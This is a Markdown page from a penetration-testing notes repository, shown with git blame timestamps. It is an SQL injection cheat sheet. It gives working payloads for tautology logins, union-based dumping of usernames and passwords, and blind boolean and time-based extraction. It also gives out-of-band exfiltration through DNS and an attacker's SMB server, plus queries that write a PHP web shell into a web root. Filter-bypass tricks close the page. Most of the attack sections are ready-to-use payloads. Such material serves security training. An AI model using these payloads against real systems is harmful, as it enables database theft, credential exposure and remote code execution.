killchain-compendium/Exploits/Databases/SQL Injection.md

409 lines
12 KiB
Markdown
Raw Permalink Normal View History

2022-11-13 22:38:01 +01:00
# SQL Injection
2024-06-11 21:23:16 +02:00
In an SQL injection an SQL statement is ended prematurely through setting the
quote earlier than intended by the original programmer. The malicious command
is then ended by an SQL comment to ignore the following parts of the original
SQL statement.
A piece of understanding the way of injecting malicious SQL commands is to
understand the syntax of [MySQL
Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
2022-11-14 00:50:02 +01:00
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
2022-11-13 22:38:01 +01:00
## Finding an Opportunity
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
GET parameter
2022-11-13 22:38:01 +01:00
```sh
http://example.com/index.php?id=' or 1=1 -- -
```
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Sometimes another parameter may come first
2022-11-13 22:38:01 +01:00
```sh
http://example.com/index.php?id=10 or 1=1 -- +
http://example.com/index.php?id=10' or '1'='1'-- -
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
```
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Provoking an error to gain information if an injection might be possible. Check
by just putting in a single quote
2022-11-13 22:38:01 +01:00
```sh
http://example.com/index.php?id='
```
2026-05-24 21:29:16 +02:00
**In case of client side sanitization craft the URL instead of using the form!!!**
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
## In-Band SQLi
Terminate the string of the SQL command via `'` and resolve via tautology like
1=1, comment the rest of the string via `--`. This defaults to a true statement
and delivers a response containing DB content
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
```sql
2026-05-24 21:29:16 +02:00
SELECT * FROM users WHERE username = admin AND password = '' or 1=1; -- -
SELECT * FROM users WHERE username = admin AND password = '' and 1=1 -- -
SELECT * FROM users WHERE username = admin AND password = '' or 1=1 --+
SELECT * FROM users WHERE username = admin AND password = "" or 1=1; --+
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
There are further methods of SQL injection following below.
2024-06-11 21:23:16 +02:00
### Identify Database
The following examples are methods of retrieving the type of DBMS in use.
```sh
id=sqlite_version()
id=@@version # mysql/mssql
id=(SELECT banner FROM v$version) # oracle
```
### Union based
Union based injections is an incremental and cautios approach.
Start by trying to provoke errors to validate a possible injection.
2026-05-24 21:29:16 +02:00
__First method__ check by order until error occurs
2024-06-11 21:23:16 +02:00
```sql
' order by 1 -- -
' order by 2 -- -
' order by 3 -- -
```
Check the number of columns by inserting NULL values one after another.
2026-05-24 21:29:16 +02:00
__Second method__ fuzzing NULL values, followed by fuzzing data types
2024-06-11 21:23:16 +02:00
Check number of cols
```sql
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# until the error occurs
```
Check which one contains String values
```sql
' UNION SELECT 'a',NULL,NULL,NULL -- -
' UNION SELECT NULL,'a',NULL,NULL -- -
' UNION SELECT NULL,NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,NULL,'a' -- -
```
Retrieve content, for cols as an example, or dump database
```sql
2026-05-24 21:29:16 +02:00
' UNION SELECT NULL, NULL, database(), NULL
2024-06-11 21:23:16 +02:00
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
' UNION SELECT NULL,username,password,NULL FROM users -- - //
```
Retrieve content by union poking the count and order of columns, afterwards
2026-05-24 21:29:16 +02:00
extracting tables via:
2024-06-11 21:23:16 +02:00
```sh
0 union select null, null, database()
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
2026-05-24 21:29:16 +02:00
0 union select null, null, group_concat(username, ':', password SEPARATOR '<br>') from found_tablename;
2024-06-11 21:23:16 +02:00
```
2026-05-24 21:29:16 +02:00
Function `group_concat` concatenates all rows into a single string.
* `information_schema.tables` acts on every available table of a database.
* `information_schema.columns`
Option `table_schema` contains the name of the database, `table_name` the name
of the tables inside the database and `column_name` the names of the columns of
a selected table.
2024-06-11 21:23:16 +02:00
The examples above contain methods of retrieving table name, column names. The
last example uses the information returned to inject the correct column names
so the acutal content of them are retrieved. Further examples under [SQL
Functions](#SQL-Functions)
#### SQL Functions
Use SQL functions to poke the tables & cols via union.
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
2026-05-24 21:29:16 +02:00
Extract tables
2024-06-11 21:23:16 +02:00
```sql
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
```
SQLite specifica
```sql
2026-05-24 21:29:16 +02:00
UNION SELECT sql, sql FROM sqlite_master -- -
2024-06-11 21:23:16 +02:00
```
```sql
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
```
Extract columns
```sh
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
```
Extract Data from cols
```sql
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
```
## Inferential SQLi
The result of the SQLi may not be directly visible but can be measured through
side channels like timespan between request and response or by a boolean value.
2022-11-13 22:38:01 +01:00
### Boolean True and False
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
```sql
SELECT * FROM users WHERE id = 420 and 69=69
SELECT * FROM users WHERE id = 420 and 1=69
```
2022-11-13 22:38:01 +01:00
```sql
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
```
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Blind boolean base substring fuzzes one char at a time, by inspecting the
2026-05-24 21:29:16 +02:00
return value after each inserted char. This can be used if the response
includes some kind of boolean statement about the existence of a database or
table.
Extract database:
```sql
UNION SELECT null,null,null where database() LIKE '%'; -- -
```
```sql
UNION SELECT null,null,null where database() like 'da%';-- -
```
If the database name is known fuzz the tablename:
2024-06-11 21:23:16 +02:00
2022-11-13 22:38:01 +01:00
```sql
2026-05-24 21:29:16 +02:00
UNION SELECT null,null,null FROM information_schema.tables WHERE table_schema = 'db_name' AND table_name LIKE 'a%'; -- -
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
### Time Based
2024-06-11 21:23:16 +02:00
Checking input blindly via sleep() function. Count the number of columns in
this way. on success, the sleep(5) function executes
2022-11-13 22:38:01 +01:00
```sql
2026-05-24 21:29:16 +02:00
UNION SELECT sleep(3), null; -- -
UNION SELECT sleep(3),1 null; -- - one column
SELECT * FROM users WHERE id = 420; IF (69=69) WAITFOR DELAY '00:00:03' -- -
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
### Blind injection
2024-02-04 23:39:37 +01:00
A blind injection methods tries to guess characters not by returned values
but by how the DB behaves to your request
2022-11-13 22:38:01 +01:00
```sh
http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
```
2024-02-04 23:39:37 +01:00
2022-11-13 22:38:01 +01:00
```sh
http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
```
2024-02-04 23:39:37 +01:00
2022-11-13 22:38:01 +01:00
* Function substr(string, start, length)
2024-02-04 23:39:37 +01:00
* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
__How do you go forward when you know, that there is a possible boolean blind injection?__
You want to get
* Database name
* Table name
* Column name
and watch out for return values, status codes, if you are logged in a session
inside the browser, etc., ... .
Start at the databasename character on position 1, after that 2 and so on via a
POST request
```sql
username=admin'+and+substring(database(),1,1)="a"+#&password='
username=admin'+and+substring(database(),2,1)="b"+#&password='
```
Next, find the characters of the tablename via
```sql
username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),1,1)+=+"a"+#&password='
username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),2,1)+=+"b"+#&password='
```
Find the column_name of the table
```sql
username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),1,1)+=+"a"+#&password='
username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),2,1)+=+"b"+#&password='
```
Query content of the table and columns found via
```sql
username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='
```
2022-11-13 22:38:01 +01:00
2024-06-11 21:23:16 +02:00
## Out-of-Band SQLi
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Out-of-band requests are injected through a different channel than the
resulting response.
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
### Second-Order SQLi
2024-02-04 23:39:37 +01:00
2024-06-11 21:23:16 +02:00
The result is not directly visible, instead some indirect response is executed,
maybe at a later stage of the attack through inserting a a SQLi through your
original SQLi payload.
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Check if an inserted SQL query may be set instead of regular data, e.g. instead
of a name and let it be queried via a second step.
2022-11-14 00:50:02 +01:00
2026-05-24 21:29:16 +02:00
### DNS Resolution Including Exfiltrated Data
Read a file on Windows via `LOAD_FILE()` and add its content as a subdomain, so the DNS request will contain the exfiltrated data.
```sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.mydomain.com\\share'));
```
Another possibility of data extraction is `xp_dirtree` which triggers DNS
resolution for the target server:
```sql
EXEC master..xp_dirtree '\\mydomain.com\share';
```
2024-06-11 21:23:16 +02:00
### Other Communication Channels
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Instead of a direct response there may be indirect results possible, like the following.
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Write to a file via `OUTFILE`.
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
```sql
2026-05-24 21:29:16 +02:00
SELECT passwords FROM users INTO OUTFILE '/dev/shm/passwords.txt';
2022-11-13 22:38:01 +01:00
```
2024-06-11 21:23:16 +02:00
Executing shell commands for extraction through `xp_cmdshell` on MYSQL.
2022-11-13 22:38:01 +01:00
2024-06-11 21:23:16 +02:00
When using Oracle DBs send your data via `UTL_HTTP.BEGIN_REQUEST` to an
exfiltration target.
2022-11-14 00:50:02 +01:00
2024-06-11 21:23:16 +02:00
Other exfiltration targets may be DNS or SMB servers.
2022-11-13 22:38:01 +01:00
2026-05-24 21:29:16 +02:00
```sql
EXEC xp_cmdshell 'nslookup data.mydomain.com';
```
2024-06-11 21:23:16 +02:00
On the attacker side start an SMB server.
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
```sh
2024-06-11 21:23:16 +02:00
impacket-smbserver -smb2support -comment "Attacker SMB" -debug logs /tmp
2022-11-13 22:38:01 +01:00
```
2024-06-11 21:23:16 +02:00
Execute the following query on the target.
2022-11-14 00:50:02 +01:00
2022-11-13 22:38:01 +01:00
```sh
2024-06-11 21:23:16 +02:00
420'; SELECT @@version into outfile '\\\\$ATTACKER_SMB_IP\\logs\\response.txt'; -- -
2022-11-13 22:38:01 +01:00
```
2022-11-14 00:50:02 +01:00
## Value Insertion
Under the right conditions, it is possible to insert information into a table.
2022-11-13 22:38:01 +01:00
2024-06-11 21:23:16 +02:00
Check user file permissions if an insertion is possible
2022-11-13 22:38:01 +01:00
```sql
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
```
2024-06-11 21:23:16 +02:00
Insert file through insertion of `system()` or `exec_shell()` and a get
parameter
2022-11-13 22:38:01 +01:00
```sql
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
```
2026-05-24 21:29:16 +02:00
Insert `<?php system($_GET["cmd"]); ?>`
2024-06-11 21:23:16 +02:00
2022-11-13 22:38:01 +01:00
```sql
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
```
2022-11-14 00:50:02 +01:00
### Further Examples
2024-06-11 21:23:16 +02:00
Sqli inside HTTP request to an API. Five columns in the select have been
discovered before
2022-11-13 22:38:01 +01:00
```HTTP
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
```
2024-06-11 21:23:16 +02:00
Get column names through the following example.
```HTTP
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
```
2026-05-24 21:29:16 +02:00
Get rows from users by id
2024-06-11 21:23:16 +02:00
```HTTP
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
```
## Filter Bypass
2026-05-24 21:29:16 +02:00
Bypass may be possible through character encodings like
2024-06-11 21:23:16 +02:00
* Percent/URL
* Hex
* Unicode
To bypass quote filtering use the following methods.
* Numerical values which do not need quotes like `420=420`
* SQL comments `username --`
* Create the username through `CONCAT(0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d 0x65)`
To bypass space filtering use the following methods.
* Open and close a comment instead of using a space -> `/**/`
* Use `\t` or `\n` instead of space
* Encode the space or alternative `\t` or `\n` character, e.g. `%0A`
To bypass keyword removal use the following methods.
* Use a comment in the midst of the keyword that would be removed -> `un/**/ion`
* Write the keyword in unusual lower and uppercase characters -> `uNiOn`
* Use `Concat()`, to create the keyword, e.g. `CONCAT(0x61, 0x64, 0x6D, 0x69, 0x6E)` or `CONCAT('u','n','i','o','n')`
* Use Encodings for the keyword
Use logical operate instead of english keywords, e.g. `&&` instead of `and`.
2022-11-13 22:38:01 +01:00
## Payloads
2024-06-11 21:23:16 +02:00
2022-11-13 22:38:01 +01:00
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
2024-06-11 21:23:16 +02:00
## Tools
* [SQLmap](https://github.com/sqlmapproject/sqlmap)
* [Bbbqsql for blind injections](https://github.com/CiscoCXSecurity/bbqsql)